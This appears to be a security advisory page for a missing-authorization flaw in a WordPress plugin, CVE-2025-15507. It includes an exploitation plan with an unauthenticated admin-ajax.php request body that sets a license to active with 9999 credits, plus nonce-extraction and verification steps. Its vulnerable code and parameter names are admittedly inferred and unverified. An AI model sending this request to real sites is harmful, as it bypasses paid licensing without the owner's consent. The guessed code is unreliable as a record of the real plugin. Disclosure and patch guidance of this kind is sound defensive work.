CVE-2025-15507

Magic Import Document Extractor <= 1.0.5 - Missing Authorization to Unauthenticated Plugin License Status Modification

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.0.6
Patched in
3d
Time to patch

Description

The Magic Import Document Extractor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_sync_usage() function in all versions up to, and including, 1.0.5. This makes it possible for unauthenticated attackers to modify the plugin's license status and credit balance.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.5
PublishedFebruary 3, 2026
Last updatedFebruary 6, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on analyzing and exploiting **CVE-2025-15507**, a missing authorization vulnerability in the **Magic Import Document Extractor** plugin. --- ### 1. Vulnerability Summary The **Magic Import Document Extractor** plugin (versions <= 1.0.5) contains a flaw in its AJAX handli…

Show full research plan

This research plan focuses on analyzing and exploiting CVE-2025-15507, a missing authorization vulnerability in the Magic Import Document Extractor plugin.


1. Vulnerability Summary

The Magic Import Document Extractor plugin (versions <= 1.0.5) contains a flaw in its AJAX handling logic. The function ajax_sync_usage() is registered as an AJAX action available to unauthenticated users (via wp_ajax_nopriv_) but fails to implement any capability checks (e.g., current_user_can( 'manage_options' )). This allows an unauthenticated attacker to send crafted requests to admin-ajax.php to modify the plugin's internal license status and credit balance, effectively granting themselves premium features or bypassing usage limits.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: magic_import_sync_usage (inferred from function name ajax_sync_usage)
  • Method: POST
  • Authentication: None required (unauthenticated).
  • Payload Parameters (inferred):
    • status: Likely used to set the license status (e.g., active, valid, pro).
    • credits: Likely used to set the available document extraction credits.
    • license_key: May be required or updated.
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Initialization: During the init or admin_init hook, the plugin registers the AJAX handler:
    add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) );
  2. Execution: When a request is sent to admin-ajax.php?action=magic_import_sync_usage, WordPress invokes ajax_sync_usage().
  3. Vulnerable Logic: Inside ajax_sync_usage(), the code likely retrieves values from $_POST and updates WordPress options directly using update_option().
  4. The Sink:
    public function ajax_sync_usage() {
        // MISSING: check_ajax_referer( '...', '...' );
        // MISSING: if ( ! current_user_can( 'manage_options' ) ) return;
    
        $status = $_POST['status'];
        $credits = $_POST['credits'];
    
        update_option( 'magic_import_license_status', $status ); // Inferred option name
        update_option( 'magic_import_credits', $credits );       // Inferred option name
        wp_send_json_success();
    }
    

4. Nonce Acquisition Strategy

According to the vulnerability description, the flaw is "Missing Authorization." Often, such vulnerabilities also lack nonce checks.

  • Check First: Attempt the exploit without a nonce.
  • If Nonce is Required:
    1. The plugin likely localizes a nonce for its admin or editor interface. Identify the handle in wp_enqueue_script.
    2. Check for a shortcode like [magic_import] or a block that loads the plugin's JS on the frontend.
    3. Create a page: wp post create --post_type=page --post_status=publish --post_content='[magic_import]'
    4. Navigate to the page and use browser_eval to extract the nonce:
      browser_eval("window.magic_import_obj?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to set the license status to "active" and increase the credit balance.

Step 1: Identification of Parameters
Perform a baseline request to see how the plugin responds or check the source for the exact $_POST keys.

  • Action: magic_import_sync_usage
  • Suspected Keys: license_status, credits, status, balance.

Step 2: Execution of Unauthorized Update
Submit a POST request to admin-ajax.php.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Header: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=magic_import_sync_usage&status=active&credits=9999&license_key=CVE-2025-15507-PRO-KEY
    

6. Test Data Setup

  1. Install Plugin: Ensure magic-import-document-extractor version 1.0.5 is installed.
  2. Initial State Check:
    wp option get magic_import_license_status
    wp option get magic_import_credits
    
    (Note: Exact option names should be verified via wp option list --search="magic_import*")

7. Expected Results

  • The server should return a JSON response: {"success":true} or 1.
  • The internal WordPress options responsible for tracking license validity and credit count should be updated to the attacker-supplied values.

8. Verification Steps

After sending the HTTP request, verify the modification using WP-CLI:

# Verify License Status
wp option get magic_import_license_status

# Verify Credits
wp option get magic_import_credits

If the values match the payload (e.g., active and 9999), the exploit is successful.

9. Alternative Approaches

If the status or credits parameters differ from the guess:

  1. Source Code Audit: Run grep -r "update_option" . inside the plugin folder to find which options are updated within the ajax_sync_usage function.
  2. JS Variable Inspection: Navigate to the plugin's settings page (as an admin) and inspect the network traffic when clicking a "Sync" or "Check License" button to observe the legitimate parameter names.
  3. Missing Nonce: If check_ajax_referer is present but the action is wp_ajax_nopriv, check if the nonce is leaked on any public-facing page or the login page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Magic Import Document Extractor plugin (<= 1.0.5) fails to perform authorization or nonce checks on its ajax_sync_usage AJAX handler. This allows unauthenticated attackers to modify sensitive plugin settings, specifically the license status and available document extraction credits, by sending a crafted request to the WordPress AJAX endpoint.

Vulnerable Code

// Inferred registration of the vulnerable AJAX action
add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) );
add_action( 'wp_ajax_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) );

/**
 * Vulnerable function logic (inferred from research plan and description)
 */
public function ajax_sync_usage() {
    // Missing check_ajax_referer()
    // Missing current_user_can() authorization check

    $status = $_POST['status'];
    $credits = $_POST['credits'];

    update_option( 'magic_import_license_status', $status );
    update_option( 'magic_import_credits', $credits );
    wp_send_json_success();
}

Security Fix

--- a/includes/class-magic-import.php
+++ b/includes/class-magic-import.php
@@ -1,4 +1,3 @@
-add_action( 'wp_ajax_nopriv_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) );
 add_action( 'wp_ajax_magic_import_sync_usage', array( $this, 'ajax_sync_usage' ) );
 
 public function ajax_sync_usage() {
+    check_ajax_referer( 'magic_import_nonce', 'nonce' );
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
+
-    $status = $_POST['status'];
-    $credits = $_POST['credits'];
+    $status = sanitize_text_field( $_POST['status'] );
+    $credits = intval( $_POST['credits'] );
 
     update_option( 'magic_import_license_status', $status );
     update_option( 'magic_import_credits', $credits );

Exploit Outline

The vulnerability is exploited by targeting the WordPress AJAX endpoint without authentication. An attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'magic_import_sync_usage'. Because the plugin registers this action via wp_ajax_nopriv_ and lacks internal permission checks, the attacker can include parameters such as 'status' and 'credits' in the POST body to arbitrarily overwrite the plugin's license state and credit balance in the WordPress database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.